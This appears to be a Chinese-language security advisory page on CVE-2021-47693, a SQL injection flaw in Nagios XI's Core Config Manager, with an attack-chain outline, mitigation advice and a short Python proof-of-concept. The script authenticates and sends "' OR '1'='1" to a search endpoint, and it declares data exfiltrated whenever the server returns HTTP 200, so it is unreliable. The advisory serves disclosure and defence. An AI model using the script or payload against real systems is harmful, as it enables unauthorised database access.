IPBUF安全漏洞报告
English
CVE-2021-47693 CVSS 8.8 高危

CVE-2021-47693: Nagios XI CCM SQL注入漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2021-47693
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI Core Config Manager (CCM)

相关标签

SQL注入Nagios XICore Config ManagerCCM高危漏洞网络监控认证绕过CVE-2021-47693

漏洞概述

CVE-2021-47693是Nagios XI中Core Config Manager(CCM)组件存在的高危SQL注入漏洞。该漏洞影响Nagios XI 5.8.5之前版本和CCM 3.1.3之前版本。漏洞根源在于CCM的配置对象编辑器在处理搜索文本时,将未经消毒的用户输入直接拼接到SQL查询语句中。攻击者只需拥有低权限的认证账户,即可利用此漏洞向SQL查询中注入恶意SQL片段。成功利用此漏洞后,攻击者可以非授权访问、修改配置数据和应用程序数据,在某些环境下甚至可能进一步威胁应用程序或后端数据库的安全。此漏洞具有网络可利用性,无需用户交互,CVSS评分高达8.8,属于高危级别漏洞。Nagios XI作为广泛使用的网络和系统监控工具,其配置管理组件的安全性至关重要,该漏洞的发现提醒了管理员需要及时更新系统并关注安全公告。

技术细节

该SQL注入漏洞存在于Nagios XI的Core Config Manager(CCM)模块中,具体位置在配置对象编辑器的搜索文本处理功能。漏洞产生的根本原因是开发人员在构建SQL查询时,直接将用户提供的搜索参数拼接到SQL语句中,而没有进行适当的输入验证和参数化查询处理。攻击者可以通过构造特殊的搜索字符串,利用SQL语法规则注入额外的SQL命令或修改查询逻辑。由于该功能需要认证访问,攻击者需要拥有一个有效的低权限账户即可发起攻击。攻击者注入的SQL片段可能被数据库服务器执行,从而实现数据泄露、敏感信息获取、数据库结构探测等操作。在某些配置下,攻击者还可能通过UNION SELECT、堆叠查询等技术实现更深入的攻击,包括读取系统文件、写 入webshell或执行操作系统命令。CVSS 3.1向量显示该漏洞具有网络可达性(AV:N)、低攻击复杂度(AC:L)、低权限要求(PR:L)、无需用户交互(UI:N)的特点,对机密性(C:H)、完整性(I:H)和可用性(A:H)均造成高影响。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标环境是否运行Nagios XI,并确定其版本信息
STEP 2
获取认证凭据
攻击者通过社工、暴力破解或已泄露的凭据获取低权限用户账户
STEP 3
构造恶意请求
攻击者构造包含SQL注入载荷的搜索请求,如使用' OR '1'='1等SQL片段
STEP 4
触发漏洞
将恶意载荷发送到CCM的配置搜索接口,未经过滤的输入被拼接到SQL查询
STEP 5
数据提取
通过修改后的SQL查询执行,攻击者可以获取数据库中的敏感配置信息
STEP 6
权限提升(可选)
在某些环境下,攻击者可能利用获取的信息进一步控制后端系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2021-47693 - Nagios XI CCM SQL Injection PoC # Requires valid low-privilege credentials import requests import sys from urllib.parse import urlencode target = "http://target-nagios-xi.local/nagiosxi/" username = "lowpriv_user" password = "password123" session = requests.Session() # Step 1: Authenticate login_url = target + "login.php" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data, verify=False) if "nagiosxi" not in resp.url.lower(): print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Exploit SQL Injection in CCM search ccm_url = target + "api/v1/objects/config/search" sqli_payload = "' OR '1'='1" params = {"search_text": sqli_payload} print(f"[*] Sending SQLi payload: {sqli_payload}") resp = session.get(ccm_url, params=params, verify=False) if resp.status_code == 200: print("[+] SQL Injection successful - Data exfiltrated") print(resp.text) else: print(f"[-] Exploitation failed with status: {resp.status_code}")

影响范围

Nagios XI CCM < 3.1.3
Nagios XI < 5.8.5

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制CCM功能的访问权限,仅允许必要的用户访问配置管理功能;2)实施网络层访问控制,限制对Nagios XI管理接口的访问来源;3)启用Web应用防火墙(WAF)规则,检测和阻止SQL注入攻击特征;4)监控数据库查询日志,及时发现异常SQL执行行为;5)考虑暂时禁用配置搜索功能,直到补丁应用。同时建议管理员审查所有用户账户,确保没有使用弱密码或重复密码的情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表